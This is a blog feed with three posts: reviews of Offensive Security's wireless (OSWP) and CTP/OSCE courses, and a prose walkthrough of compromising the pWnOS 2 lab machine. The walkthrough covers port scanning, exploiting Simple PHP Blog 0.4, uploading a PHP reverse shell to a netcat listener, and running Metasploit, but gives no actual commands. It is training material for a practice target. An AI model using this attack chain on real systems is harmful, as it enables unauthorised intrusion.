https://blog.g0tmi1k.com/favicon.ico/>
2015-01-21T20:17:43+00:00https://blog.g0tmi1k.com/2014-01-24T19:54:00+00:00https://blog.g0tmi1k.com/2014/01/offensive-security-wirelessThe views and opinions expressed on this site are those of the author. Any claim, statistic, quote or other representation about a product or service should be verified with the seller, manufacturer or provider.

A few months back, I took Offensive Security’s online course WiFu course & exam OSWP, as I had written up a review for PWB/OSCP & CTP/OSCE, I thought I would do this too. As always, everything in this post is both personal comments and my own experience with the course.

It’s not easy to create a course, especially with the amount of resources that are freely available, such as the aircrack-ng wiki and Security Tube’s Wireless Megaprimer. Both are good, if not great sources of knowledge that make them a valued resource, however, there is still room for WiFu - more on this later.

Before doing the course, I had already dabbled with 802.11 and its security, successfully cracking some WEP & WPA networks, and writing my own “wrapper” to automate the process. However, I still learnt more than a thing or two by the time I had completed the course.

Everything that I knew before the course, was self taught, which came from reading blog/forum postings, and the odd video (There are plenty of resources – and they range in quality, depth of detail and age).

Yes, I was able to learn, and teach myself for free. But, I spent time doing it, as I had to go out searching for it (which made it easier to skip over certain areas, if you didn’t seek them out). There are also conflicting bits of information online (either because it’s out-dated or it’s “the blind leading the blind”).

As always, with an Offsec course, all the information that you need is in one place. They have done their homework including getting the author (Mister_X) of _THE_ pentesting tool for 802.11, aircrack-ng, to help write the course.

Course Material

Course Materials & Lab/Exam Setup

The course material is made up of a handbook/document (.PDF – 385 pages), and videos (.SWF – little under 3 and a half hours). In the handbook, there are links to external example .CAP files that Offsec is hosting, allowing you to follow alongside. There is also a custom Backtrack ISO file, which is what the course recommends you use.

I personally was able to progress through the entire course material in a weekend. The exercises were straight forward, and I didn’t run into any issues completing them (I used an old NetGear WG614 v9 & TP-Link WR104ND for access points and ALFA AWUS036H & Linksys WUSB54GC wireless cards).

Unlike PWB/CTP, there isn’t a remote lab this time to connect into – you will be re-creating the labs locally. They isn’t any “step by step” instructions showing you how to alter the router configurations (you sometimes see a glimpse of this in the videos), as each router’s UI is different. Instead they just inform you what settings you need to place your router in for this exercise.

The upside to not having any remote labs, is that you are not limited to lab time, so you are able to work on it freely. However, the exam attempt that comes with the course is only valid for 120 days after you receive the course materials – which is plenty of time to get you prepared.

The exam however, is taken remotely. You do not VPN in (like OSCP/OSCE - which allows you to use your own hardware and software configuration), instead you SSH to a clean, ready to go, Backtrack 5 r3 machine which has everything you need to be able to pass the exam.

Material Breakdown (WiFu)

It begins with all with all the standards & protocols for 802.11 (with a bit of a history lesson), which moves into how a wireless networks work, the different types of WiFi.

Then it is chapter 3. This gives a full breakdown of 802.11 packets, as well as techniques used in the protocol, and it goes into a great amount of depth. Throughout this section, on nearly every page there is a screenshot, table, or diagram to help break up the text, and help explain the area in more depth.

I personally see it as a bit of a “dry” area, and the authors felt the same (there are words of encouragement to stick with it and understand everything that is being said here).

This is a large section (over 100 pages), as they have to cover too much in this area. This builds up a good proportion of background knowledge, showing why everything works.

Reading back on my notes for this chapter, the amount taken towards the ends does start to thin out (however I have now got the PDF to use as reference to fall back on).

After learning all that theory behind it, it starts to get ready for the practical. They do this by showing how to pick hardware (note: I see this question being ask almost on a daily basis – it’s a popular question!). Rather than just saying “get this card”, they explain what to look for in a card – and which one would be best suited for the job (spoiler alert: there isn’t a single card that “is the best and does everything”).

Quick run down, they compare: interface, signal/power, antennas & chipsets. I personally was impressed with the antennas section, showing the different signal patterns – this is something I hadn’t looked into before.

I should say at this point, unlike PWB & CTP where you remotely VPN in, connecting to their (Offsec) labs, you need to setup and create your own locally. So, if you wish to do any of the practical you will need to purchase some of the hardware you have just researched (as its not included in the course fees). The exam however, is taken online – this is covered later.

Next, the course starts to teach you about how the hardware works with the software via wireless stack & drivers, which is another commonly asked about area I’ve seen online. They run you through the basics such as testing drivers & (manually) enabling “monitor” mode.

I would have liked to have seen more “troubleshooting” here, or a bit more advance commands to gather more information about what’s going on/current setup. I mention this because it bugs me regarding people who are wanting help, but lacking detail (however more often than not, it’s also the manner of the person and how they are asking for help).

The rest of the course from here on out it is now practical (note: I’m guessing a lot of people’s pre-course knowledge starts at this point). Most of the time, it uses the aircrack-ng suite, which is really a swift army knife. By the end of the course, I think you use all the attacks but one that aireplay-ng has to offer. There is some similarity to the aircrack-ng’s wiki content for parts of the remainder of the course.

The course explains what is being shown on screen, with how it relates to what’s been taught so far, followed by arguments to interface with the program as you see fit. At the end of each chapter, there is now a lab to complete. These are tasks that relate to what has just been taught as well as a troubleshooting for common issues that the student may run into at certain stages.

They start at the start with the aircrack-ng suite, by putting your card into the right mode, as this is something that you will always need to do before commencing any attacks. This allows you to view the surrounding wireless networks. The last bit in this section, tests the wireless card, making sure “packet injection” works.

It then branches off into WEP attacks, with client and clientless scenarios using various different configurations & attacks. Depending on which access point has been used, will affect which attacks are successful. Offsec does recommend certain access points to be used, and the course has been fully tested with them (meaning all the attacks will work). If you wish to break away and use something different, you may find that certain attacks will not work.

As there are various possibilities and different combinations of WEP configurations, not every scenario is “hackable” (e.g. clientless with WEP Shared Key), however the ones that are, are covered. It even mentions the injection attack, which allows you to inject data into a network which you are not even “connected” to.

Then the course sets its focus on WPA/WPA2. Unfortunately the course only covers on Pre-Shared Key (PSK), skipping over Enterprise. However, most WiFi networks that I’ve seen use PSK.

I’ve gone through the pain & “joy” of setting up a radius server at home in a test lab, which isn’t the most straightforward thing – which could be another reason why its not covered. I also understand not giving away a pre-done VM image, as that still has a lot of moving parts and could cause another set of issues.

They course cover using CPU vs GPU with the speed increase between the two methods, as well using pre-calculated rainbow tables to speed up the brute force progress.

Afterwards it’s the reconnaissance section which demonstrates a few different methods to visualize clients and their relationships using 802.11, something which I can see being very useful when doing wireless assignments for clients. There is also a bit of information on “war * (war driving/walking/cycling etc)” – which is something that I spent a lot of time doing in 2013 (blog post to follow).

Lastly, there is the “rogue access point” (aka a fake access point or the “evil twin attack”) for both WEP & WPA. This is where you setup a “cloned” access point to mimic the target, and finding different ways to force targets to use it. The last practical for the course goes into “Karmetasploit” to exploit the wireless client, which I felt is a good way to finish.

Up to this point, the videos coincide with the handbook/document very well, much like with PWB. There are a few extra “bonus” things that are included in the PDF (alternate methods and techniques to speed up the attacks). There was a few extra little “tricks” that you can do also do, covering sharing the wireless interface over a network to a remote machine, relaying & repeating captured data and decrypting packets.

For all of this, true Offsec style, you learn how to do this “manually”. You don’t rely on any “One click GUI” programs (that really is just a wrapper around aircrack-ng suite).

Side note: If you have done PWB/CTP, you will notice it’s not the same narrator (Mati), this time it’s Devon.

Exam (OSWP)

I can’t go into too much detail here without giving the game away. In short, there isn’t any “curve balls” in it (unlike OSCP/OSCE), its straight forward and pretty much what you would expect.

The exam is four hours long, but I found myself finished within an hour.

It would have been sooner, however there was a technical issue on the remote machine (the wireless card needed to be switched out). All I had to do was ask on IRC and an admin had fixed it within 15 minutes.

Like OSCP/OSCE, everything that you’re tested on, is covered in the course material. Unlike OSCP/OSCE, you don’t need to write a report at the end, in order to pass.

Reflection

Myths

This is true to a point as the WEP section has about 100 pages & WPA/WPA2 is about 40 pages. My take on it is that there aren’t as many (publicly known) attacks towards WPA/WPA2, so there isn’t as much information to cover.

Because WPA/WPA2 uses (a much) “better” cipher, the only (known) weakness is just an offline brute force on the four way handshake .Whereas with WEP there was a poor cipher implement which had a weakness with the maths that behind it. The result means there are various ways to crack WEP.

WPS

To help “pad out” the WPA/WPA2 section, I thought they could have covered the WPS attack.

Note: WPS != WPA/WPA2.

However you can only have it on WPA/WPA2 networks, which I believe makes it relevant. Looking into the history of it, I understand why it’s not in the course…

The course is currently on version 3, which came out in July 2011. However, about four months later, in December 2011, (as far as I can see) there was the first public release of a PoC “tool” (and paper) to “hack” WPS. It’s a bit of a shame with the timing as it didn’t make it into this release of the course (may do if there is a newer release of the course.)

Whilst on the subject: shortly after the release of the tool which most people know today, reaver, but that hasn’t been updated since January 2012 (last version is v1.4). To pick up the slack/fill in for it, there is ”bully” which is currently still in active development.

Side note: the WPS attack hasn’t (yet?) made it into aircrack-ng.

Criticism

Personally, I would have liked to have seen something more than a line or two about both “hidden” SSIDs & MAC filtering. These are bypass-able, and could have an “extra mile” exercise (like in PWB).

As I mentioned before, in the WPA/WPA2 section, the course doesn’t cover enterprise. With WEP, there isn’t any mention of “key index” (how to identify which key index is being used). However, “most” of the time, it is slot 1.

Side note: if it’s not index 1, then Apple devices have a hard time connecting!

I felt there isn’t as much of a “self-study” element, compared to the PWB, as the course material does cover a vast amount of what you need to know as and as a result, limits the possible “extra mile” exercises.

Is this course for me?

So why do this course? What’s the point in doing this, I know how to crack/hack WPA.

You may think that you know it all, and you truly might do. However, for the people that don’t, or those who are missing certain areas, this is a great way to learn about wireless 802.11 security. It certainly helped me to fill in the blanks & pitfalls in my knowledge and cleaned up a few things.

The course itself isn’t too complex and it’s short (and this is reflected in the course fees. It is also currently the cheapest course that Offsec’s cheapest course on offer).

There is also an exam at the end, which will give you a certificate (OSWP), which is recognized professionally.

What’s wrong with the resources that are out there currently?

Nothing! If they work for you, that’s great.

Personally, I like the mixture of both written material & multimedia (that co-inside with each other). I personally really like Offsec’s style of presenting & teaching.

The aircrack-ng wiki is a manual showing how to use their tool (rightly so!), and SecurityTube is a free “sample” of their commercial course (the videos are free, however everything else requires a fee – slides, certificate and additional content).

From what I saw from Security Tube, it might touch on more topics, however, I didn’t feel that it went into the same amount of depth and I didn’t like the style in which it was presented.

Kudos to both, for giving out free, descent and original content.

Summary

Advice

There is a chance that you will need to buy some hardware for the course, so don’t expect or rely on your current wireless device.

If something isn’t working for you, try and troubleshoot why its not. It (wireless security) is a popular subject online, and the chances are, someone before you has already had the issue (and found the solution).

You do not need to have done any of the other Offsec courses (e.g. PWB/CTP) before, that’s not an issue. There isn’t any “cross over” between the courses.
This could be your first (security) certificate, or simply just another course for you to do.

Offsec once again, starts at the start, and covers everything in a single package - including the stuff that you could have been afraid to ask.

I wanted to learn about wireless 802.11 security, not how to hack WEP/WPA and I feel they managed to give me exactly what I wanted.

Credit to Offsec, as it is obvious that there has been a fair amount of time and thought put into the course (as always!). Thank you for doing so.

This is an enjoyable little straightforward course and I would recommend it.

]]>2013-08-16T19:18:00+01:00https://blog.g0tmi1k.com/2013/08/cracking-perimeter-ctp-offensiveThe views and opinions expressed on this site are those of the author. Any claim, statistic, quote or other representation about a product or service should be verified with the seller, manufacturer or provider.

Myths

However, before going any further, I would like to dispel up a few “myths”, that I’ve heard, over the years. These “issues” are:

Only covers exploit development

It’s old and “dated”

The course itself is (super) hard

Only covers exploit development

Wrong. There are nine modules in the course (syllabus). These can be put into the following four sections:

Bypassing Anti-Virus (AV)

Exploit Development

“Advance” techniques

0Day angle

WAN Attacks

Web Attacks

Above shows there is more to the course than just exploit development. However, there is more focus on that section than anything else. It’s more accurate to say “the main element of the course is exploit development”.

People also easily confuse “Bypassing AV” with exploit development as you are using the same set of tools to manually do the encoding - same tools, different purpose.

It’s old and “dated”

So what? I don’t see an issue with this myself.

The methods and techniques that are covered in the course can still be applied today. Since the release of the course, there has been additional research into each section. As a result, there are different (some people could argue “better”) ways to achieve the same outcome. However, being able to understand how these developments came about from the original methods, and give you an alternative technique to use, will give you a broader and deeper understanding.

Some of the standard tools that “everyone” uses are now different. This doesn’t mean the techniques are any different. The techniques you need to learn will always be the same. This is especially true as Offensive Security (offsec) likes to show you the manual way of doing things, rather than solely relying on tools to-do the work for you. So even if the course was updated, I believe that the methods would still be the same, it would just be that the interface had changed.

The course itself is (super) hard

PWB is a entry level course, CTP is a intermitted course. There are harder ones to.

The exploit development in PWB is a “taster” with the course material walking you through basic buffer overflows and web attacks. Offsec also have courses called “ADVANCED Windows Exploitation (AWE)” and “ADVANCED Web Attacks and Exploitation (AWAE)”; both of these other courses are even more specialized that CTP.

With that in mind, CTP is somewhere in-between with difficultly. The course starts from the basic in PWB, and stops where AWE & AWAE would take over. For example it’s expected that the student knows what EIP is, but they don’t need to understand any HEAP exploit techniques.

In the same respect, you’ll not be doing any basic “Remote File Inclusion (RFI)”, but you are not required to-do a blind “SQL Injection (SQLi)” attacks.

Review

Now, with all that cleared up. Here is my personal experience of going through the course from start to finish. Where possible, I’ll try and relate to the PWB course.

Before signing up to the course

I followed along the tutorials from Corelan and FuzzySecurity to improve my exploit development skills (found them both excellent resources for this). I stopped reading them when I got to the HEAP exploitation sections, as this isn’t required for CTP. However, this doesn’t mean:

You shouldn’t know it – it’s still good to learn.

If you want to use other methods that are not covered in the course, you are able to, there isn’t anything stopping you.

I then moved onto the first few levels of Exploit-exercises’s Fusion & Protostar. I didn’t feel this was needed, but I felt it was beneficial for me as I wanted something to try out for myself without following a guide (and it’s designed to have vulnerabilities to find).

I had already done various web application attacks in designed vulnerable code, so I felt confident in this area and as a result I didn’t feel that I needed to-do any extra work in this field. If you want to try some yourself, I would recommend: DVWA, Mutillidae and WebGoat.

Looking into the WAN attacks section; it’s done using Cisco routers. When I was doing my CCNA certification, I spent a good amount of time doing extra things that were not technically in the course curriculum. It was a good chance for me to do things like this, that I wouldn’t of had access to in my lab, plus my instructor didn’t mind. For these reasons, I also didn’t worry too much about the WAN attack.

Reading books isn’t my thing, but a couple of students have recommended some and they can be found in the list of resources at the end of the page.

Pre-course

Before you’re able to sign up for the course, there is a “filter” (fc4.me). This is put in place to make sure that the student who is about to take the course is (hopefully) potentially capable of doing so. This barrier relates to what’s required of you from the course.

There isn’t any shame in not being able to complete this. It simply means you’re not ready… yet!

If you look up the solution online, you’re just cheating yourself and wasting both time and money. It’s been put there for a reason. Offsec is trying to protect you from yourself (in their own frustrating but necessary way!).

Course

You are provided with the same format for your course material as with PWB, a PDF (~150 pages) and a series of videos (a little bit over 4 and a half hours).

The course material didn’t seem to match up as well as PWB (before, it felt like a transcript), for example there were certain sections which were only covered in either the PDF or the video - so be sure to look at both of them.

I would have liked to have seen some more “taxing” extra miles exercises (which I thought was the case in PWB). These extra exercises are optional tasks in the course material to “extend” your knowledge.

Certain things have purposely been “snipped” out of view in the course material. The intention is to make the student think for themselves, instead of just blindly copying the examples. This is another reason why the course is a step up in difficulty.

For me to process all the course material which was provided, took me about 7-10 days. I started off completing two modules a day (sailing through it all) - but this pace didn’t last. However, the longest I spend on a single module was a couple of days.

With PWB, I felt the course was building up in difficulty until module 6 (about half way through the course), and then the rest was all down hill - so to speak. However, with CTP, it was all up hill until the second to last module (8 – the HP exploit).

The course begins with web attacks: Cross Site Scripting (XSS) and Local File Inclusion (LFI).

I felt the XSS was only a fraction of a step up in difficultly from PWB and I would have appreciated an automated client (from PWB) to have tested it out on, rather than myself. Additionally the vulnerability could have been more challenging, such as requiring some form of filtering (however this is covered in AWAE).

The directory traversal/LFI was somewhat interesting. It’s a publicly known method; however it’s not done via the most common way typically shown in examples.

From this point onwards, the rest of the course material was NOT remotely in the PWB course. Bypassing AV was the next category. This consisted of encoding detected files & backdooring existing programs.

Everything is done manually (without relying on other people’s encoders/packers). The exact techniques covered have been detected by anti-virus companies as it has been abused for a few years – so don’t expect these to work with today’s modern AV (or any that’s worth their own salt!). However, using the above technique, it only takes a few extra hours to play around and to develop personalized modifications, which, gradually will be detected less and less (the fewer people that know what you did – the longer the chance it will go undetected)…

You can also see this as an introduction into the tools that you’ll be using later to do the next section.

The next section is exploit development, which makes up the main “chunk” of the course. To me, all of these modules but the last one (I’ll get to that), merged into each other. You begin with a base of an exploit, a “Proof of Concept (PoC)” code and end up creating a “weaponized” exploit resulting in a shell.

After learning a couple of tricks, such as bypassing “Structured Exception Handler (SEH)” and “egg hunters”, you re-use them, this time, Offsec guides you through the complete process of discovering the vulnerability to gaining a shell. This can be broken down into; causing a crash by fuzzing, understanding the crash so you can build a PoC, which leads to controlling the registers, from there you look for the user controlled buffer that is in memory, lastly its just a question of squeezing in the shellcode. Once everything is in place, you test the exploit. Trust me; it’s not as bad as it sounds!

There are various “commands” missing or incomplete (you just see the output, rather than how it was made). Again, this is done on purpose. For example, when generating shellcode with Metasploit, I had to figure out the bad characters myself. I also found the size of the shellcode was different from the examples, so I needed to-do a little bit of maths and update the values. What the PWB course had over CTP is, it also touches on Linux exploit development, CTP didn’t.

Module 8 (the HP exploit), as I hinted at before - I’m not going to forget this exercise! There are various machines that left a scar on me when doing PWB (gh0st, pain & sufferance), but they didn’t make an impact as much as this one. This module was hell from start to finish. All the other modules, I was able to-do between half a day to a day. This one took a “while” longer. At the time it was highly frustrating, as my exploit just wouldn’t work. I tried redoing it a couple of times, used the examples (I’m still not sure why they didn’t work), and, ones from other students (who were doing or had done the course) but none of them would work for me. I had done all the normal tricks of restarting the system, reverting the machine to a clean state, and following the guide exactly to the letter – nothing!

What made it worst was, watching other students who were doing the course at the same time, getting a shell on their first attempt! Having checked the Offsec forum, it was clear that it wasn’t just me who was having issues with this task. After reading up on the forum for a few hints, I made a Skype call to a friend (who had already passed the course) with whom I could bounce around ideas. After what felt like a few hundred failed attempts, I discovered my mistake (I’m so glad that person didn’t record me doing my “victory cheer/scream”). Due to the non-disclosure agreement I am unable to reveal what I was doing wrong. Needless to say I’m never going to forget it. Looking back at it now, it was so obvious – but not at the time! It’s a classic case of “it’s easy once you know how”.

The last section is a “Wide Area Network (WAN)” attack. The biggest WAN is the Internet, which makes the power of this attack, very scary.

It does require a few things to be “aligned” for it to work, however, I’m sure in “real world scenarios”, with some information gathering and poor configurations it can quite easily happen.

There is only one module for this section, so it would have been beneficial to have a bit more padding to the course material. For example, another module or even some “boring” methods (namely, brute forcing) would have enabled me to gain some of the credentials that are required. Brute forcing sadly happens more often than it should, and as a result various companies have had their perimeters breached.

There isn’t a “lab” as such, which there was with PWB. There you had multiple networks with pre-populated targets (50 ). This time, you have the course material software pre-installed & configured – ready to be exploited. To help make up for the practice targets, you will need to grab them yourself. This is quite easy and there isn’t a shortage of things to-do (see resources at the bottom).

Exam

Unlike PWB, I waited a good while after finishing the course, before taking the exam (three weeks as opposed to two days!). I didn’t find the course as taxing & tiring as PWB, however, the CTP exam is double in length (nonstop 48 hours) so I wanted to be well rested before attempting it.

During this time, I went back over the course material again and produced templates of the exploits. The ideas being that these would be “ready to use” for whatever the exam would have in store. With the remainder of the time, up until the exam, I kept on going with the pre-course material that I hadn’t completed.

I really enjoyed this exam (something I didn’t think I would ever say about doing one!). I liked it much more than the PWB’s exam and in an odd way, more than the course itself. I felt satisfied after completing each exam task, somehow it just felt rewarding and that I really did accomplished what Offsec course set out to teach.

48 hours non-stop might seem like a long time for an exam (which it is) and it was hard to find the time to take the exam, however if it was another 24-hour exam I would have failed.

I’m unable to go into details of what’s in the exam for obvious reasons. But like PWB’s exam, there are multiple machines that have different point values and you require a certain amount to pass. It’s also structured in such a way that it forces you to-do certain tasks. However, the style of the tasks are not the same as PWB.

You’re only tested on what’s in the course syllabus; there isn’t anything out of scope, but there are a couple of Offsec curve balls (so watch out)! If you apply the methods and techniques that you learnt, you’ll be able to overcome these surprises and pass the exam.

I personally found it easier to do something for a part of the exam that wasn’t covered in the course material. This made my way of completing that task much more complicated than it needed to be, but in my eyes my way was more straightforward (I’m putting it down to the lack of sleep). I compared notes with other students via the forum (on a private area, which opens up after passing the exam) and discovered that there was an alternative solution to my complex one, which is covered & taught in the course material.

All the tasks required for the exam are pretty straight forward, you know what to do and can see what you need to do to achieve them, its just a question of being able to do so!

I personally found the higher point tasks (the ones which are seen as “harder” so you need to spend more time on them) much easier than the lower point ones (and these are meant to be simpler)!

I managed to get one of the harder tasks within a matter of hours – which boosted my confidence. However, I then went onto one of the easier ones for which I spent the next 20 odd hours banging my head. The fact it was seen as “easy” was stressing me out even more, which didn’t help.

At some stage, I took five hours out to sleep. However before the sun was up, I was at it again. The second night, I didn’t try to sleep at all, just powered through it and kept on doing so for the rest of the day. It paid off, because by dawn I had enough points to pass!

Throughout the exam, I gave (and some times forced) myself breaks away from the screen both every few hours and between each task.
When I was at the keyboard, I found myself regularly snacking (fruit & nuts – healthy eating and whatnot), and listening to music (big thank you Di.FM!). I didn’t get distracted with anything else other than the exam (e.g. no emails, IM and social networks etc). Upon getting stuck, feeling a bit down or informing people of my progress - I would flick to IRC & Skype. Having a couple of people passing on words of encouragement does wonders (big thanks guys). I did bounce a few ideas off people who had already gone through the exam as I found it useful to explain my thoughts out loud to something other than a screen. They didn’t say anything other than laughing at me after witnessing my victory dance.

After the time was up and I got kicked off the exam VPN, I had somehow managed to collect enough points to pass – however, it wasn’t over just yet, as I still had to complete the exam report. This is the same procedure as PWB and you still have the same amount of time (24 hours) in which to submit it to Offsec.

Using the template from PWB, I did a summary page with step-by-step screenshot instructions (thank you Evernote!) for each task. At the end, I put in some proof that I had actually completed the course material too, as Offsec always suggest putting as much information as possible in your reports for any of their courses.

After submitting the report, it was just a case of waiting three business days to hear the final outcome. On the second day I found a new email from Offsec congratulating me on passing!

Summary

Overall it’s hard to compare CTP directly to the PWB course; this is mainly due to PWB being Offsec’s “flag ship” course. This is their most well known course and as a result it’s had the most time spent on it, so it’s been updated more, which has lead to it receiving lots of little interesting improvements. As a result, the high quality of the PWB course has spoiled all the others (not just Offsec courses)!

Not directly comparing it to anything else, it is another quality course from Offsec. The course is well laid out and it’s made up of good quality material. It would benefit from having a bit of extra attention along with some of the tricks that they have learnt from developing their other courses. However, I still have learnt a vast amount from taking the course.

Offsec has taken the time to create original material, put it all together in one place and dressed it up nicely with a bow on top. There is also support, both technical, from admins and, social from other students. The cherry on top is you also get a qualification that is recognized worldwide.

The CTP course is more difficult and has more specialized fields than PWB. As a result, it’s for people who are really confident in their career path or who are really enthusiastic about self improvement. A lot of people who take PWB are involved in information security as a hobby or are new to the field and want to try their hand at it, whereas CTP is for people who are sure they want to take the next step – which is reflected in the course fees. PWB is more realistic for people who are funding themselves (which is what I did), whereas I was lucky enough for my employer to cover the cost of CTP.

If you’re weak in all four areas mentioned above, or generally not confident, then you might be better getting the 60-day option of the course. Otherwise, I would recommend getting 30 days of lab time (and then extend it if required).

Offsec doesn’t teach you how to pass an exam, or give you step-by-step for how to-do xyz, instead they show you how to THINK and do things yourself. This teaching style can frustrate some students from time to time. Please be clear about this before embarking on the course. Do not expect to have clear, handholding instructions given to you on a sliver platter.

Advice

To anyone thinking about doing the course

If you cheated at fc4.me - this definitely isn’t the course for you.

If you have been dropping 0days left, right and center – this probably isn’t the course for you.

If you don’t understand the view of any debugger or have NEVER done a thing with assembly (ASM) – this course might not be for you (just yet!).

If you haven’t done PWB before doing this course - it depends on your own experience and background knowledge (only you can answer that), however I would recommend starting with PWB.

If you’re not able to learn by yourself – none of Offsec’s courses are for you.

To students currently doing the course

Use the forums & the IRC channel – You’ll find hints and other students who are in the same boat as you. It’s a great resource and place to bounce ideas around.

Find different methods/tools to do the same thing – it helps to re-enforce & prepares you more for the exam.

Do the extra miles – and also some of your own extra homework (for examples, you can see what extra resources I used at the end)

If you’re stuck – try harder! The frustration and pain is what makes it that much more rewarding at the end!

To students about to do the exam (or currently doing it!)

Look at ALL the tasks that are in the exam – even if you believe you’re going to fail. Set some time aside and try them all out (you’ll do better than you think).

Don’t spend all your time on certain task(s) – it’s easy to get hung up on doing just that one thing. See the comment from before about time management.

Take regular breaks – even if you feel like you don’t need one. They’ll help more than you think. Your brain could thank you by providing you the answer!

Get some sleep both before the exam and during it – its 48 hours, after being awake for a certain amount of time, your brain will start to degrade in performance (regardless how much caffeine you consume).

If you need some background noise, listen to whatever music you like (I highly recommend di.fm/liquiddnb).

]]>2012-09-19T00:50:00+01:00https://blog.g0tmi1k.com/2012/09/pwnos-2-php-web-applicationThis is the second release in the ”pWnOS” vulnerable machine collection, however, it has a different creator from the previous one (which explains why it has a different “feel” to it). As always with ”boot2root” machines, it has purposely built “issues” allowing for the machine to become compromised, with the end goal being to become the super user, “root”. This method uses a vulnerability in a PHP web application (see here for exploiting via SQL injection).

Walkthrough

By reading the readme file, “pWnOS_INFO-2_0.txt”, the attacker soon learns not only the IP range which the target is using, they also now know the target’s network configuration (it’s using a static IP address of 10.10.10.100/24). The attacker confirms the given information, by sweeping the network range with “net discover”, which only displays a single result that matches the specified IP from the readme file.

As soon as the attacker has updated their IP address to fit inside the target’s subnet range, they try to discover what services the target is running. “Unicorn Scan” is able to quickly scan every port, both TCP and UDP, which belongs to the target. This shows that port TCP 22 (SSH) & TCP 80 (HTTP) are open. To verify the result, the attacker repeats port scanning all TCP ports with “nmap”. An additional feature of nmap is its inbuilt scripting engine, which can emulate the services during the scan. This produces more relevant information about the target. Nmap confirms the same ports are open and which default port’s numbers are used for their default services (for example, SSH service on port TCP 22 and a web server running on TCP 80). As SSH services are normally used to remotely execute commands, and due to their nature they normally require a form of authentication before access to the service is granted. This leaves the attacker to start with the web service.

When the attacker visits the default web application with “Firefox” to graphically render the code, they are presented a form to fill in to which leads to further access to use the web application. After navigating around the site, they only discover three pages: the login form, a place to register in order to be able to login, and a home page. The home page contains an email address, “admin@isints.com”. This could mean “admin” is a possible username (which is very common), and the domain the target is connected to.

The attacker then starts to brute force various possible folders & filenames for common paths relating to web services by using “dirb”. This displays three “interesting” results, “/includes”, “/info”, and “/blog”. “/includes” contains pages relating to the source code, which are repeated throughout the web application (for example, the header and footer). When they looked at the code, the attacker is able to see the PHP code as the file extensions is “.html” and the web server isn’t configured to process this file extension as server side code. “/info” is a page to show the output of ”phpinfo()”.
(Editor’s note: This file contains lots of useful information which would benefit the attacker as they would be able to understand the configuration of PHP on the system. However, I chose not to use this as a source of information, as this wasn’t part of the vulnerable web application).

After the attacker visits the URI of “/blog”, they discover it has a hidden web application, which is meant for internal use for the company, “isints”. By clicking around, they try to see if they can locate any private internal data which they can use to their advantage, however, they didn’t notice anything. The attacker believes this wasn’t a bespoke custom application like before, so they try to identify what application and its version. Upon viewing the home page source code, they discover it is “Simple PHP Blog 0.4”.

The attacker re-runs dirb, however uses /blog as the default path, to see if there is any more hidden material located inside the application. This time, the attacker notices an “interesting” folder name, “/config”. Using firefox they navigate to the folder and find it contains two files, “config.txt” and “password.txt”. They both hold information which relates to their filename and the attacker downloads them both for an offline copy, in case they might be needed later.

The attacker takes their knowledge of the hidden web application and searches a public database of known exploits provided by “exploit-db” (to see if they are able to exploit the target’s web application and version, simple php blog v0.4). They find six exploits which match simple php blog and of those results, one result matches the target’s version. After checking the exploit code will run, as sometimes there are additional values added at the start of the file that would means the file isn’t correctly executed, the attacker runs the exploit code. The code presents a help screen that shows which command line arguments are required, for what function, as the supports multiple exploit.

The attacker starts the exploit code to display the hashes on the system, which they have already acquired. This allows for the attacker to see if they are issuing the commands correctly into the exploit. The response from the exploit shows the hashes match the same value that the attacker discovered when they used dirb.

Next they add another user into the web application with a username and password of their choosing. After the exploit has successfully ran, the attacker logs into the blog by using firefox and the credentials which they set. The attacker has now been granted additional features, of which, one is the ability to upload files. This feature is meant for images only, however, the attacker opts to try and use “Pentest Monkey’s PHP reserve shell”, and see if it is disallowed (as it’s not a valid image). After making a copy of the shell, updating it so it contains the attackers IP address, they then try and upload the shell. The blog forwards them back to the homepage and doesn’t give any feedback if the upload was successful or if it failed. When dirb was scanned the /blog/ folder, it displayed the server contained a folder called “/images”. As the attacker attempted to upload an image, they navigated to the folder. They discover that the upload appeared to be successful as there is a matching filename and size displayed. The attacker can test to see if the upload really was successful by running the shell. For the shell to correctly work there needs to be a listener waiting on the IP address and port which it was configured with. The attacker used their IP address, so they set up “netcat” locally to listen on TCP port “1234” to match the shell. Now when someone “views” the shell page on the target web server, it causes the PHP code to be executed, creating a connection from the target to the attacker, then afterwards execute a shell program to be interacted with. The result being the attacker has gained an interact shell on the target, allowing them to execute commands remotely.

The attacker goes back to the exploit code and tries to see if that is able to automate gaining a shell as it is one of the payload options. However, it partly fails, but it still creates a new file on the target machine that allows for commands to be executed and displayed. The attacker tests out the automated backdoor, and issues a command to display the current user. The result shows they are able to issue commands on the system, as the web server.

The attacker goes back to their original shell as it is more interactive. They try to see if they are able to “upgrade” the newer shell, by using netcat. They find that it is installed on the system. However, the version which is installed, “OpenBSD”, is not compatible with what they are trying at achieve as it doesn’t support the “-e” argument, which allows for a program to be executed once a connection has been established, thus they are unable to upgrade it to an interactive shell using this method. They could however see if Perl, Python or Ruby is installed on the target and see if they could cause an improved shell. The attacker isn’t worried about this as they already have an interactive shell via PHP.

(Editor’s note: The stage below is optional as they are a repeat of the method above, however, it is included as it automates the attack as well as being more stable).

The attacker then repeats exploiting the target, using the same vulnerability, however this time uses “metasploit” as it is able to automate various aspects of the exploitation stage. After starting up a metasploit console, they search to see if the exploit has been ported and included within the framework. Whereas exploit-db returned six exploits for simple php blog, metasploit only has one. However, this matches the same exploit as before (as it uses the same vulnerabilities). After setting up the environment for the exploit to be executed in (target’s IP, path of the blog on the web server, payload to use, attacker’s IP address & port), the attacker commands metasploit to trigger the exploit. After waiting for the exploit to complete (Editor’s note: took about 30 seconds), the attacker now has a meterpeter shell on the target’s machine. They then execute a few basic in-built commands (system information, current user and running processors) to meterpeter that starts emulating the target’s operating system.

The attacker places the current session into the background, as they wish to keep exploring metasploit features and modules. They then list all the current inbuilt exploits which when used locally can gain privileges, however, the ones currently in-built to metasploit the target isn’t vulnerable to. Next they search post exploitable modules, which are designed to be executed once the attacker has a remote shell on the box. They start off looking at modules designed for just Linux systems, then modules which are able to be executed across different platforms. The attacker chooses to try out ”system_sessions”, which has a similar effect to what they were trying to manually do with netcat, causing another remote interactive shell. After checking to make sure all the options match the attacker’s requirements, they make a listener, ready to catch the connection. Then they run the module. The result, the attacker now has three interactive shells on the system (as well as another method to execute commands), all using the same vulnerability.

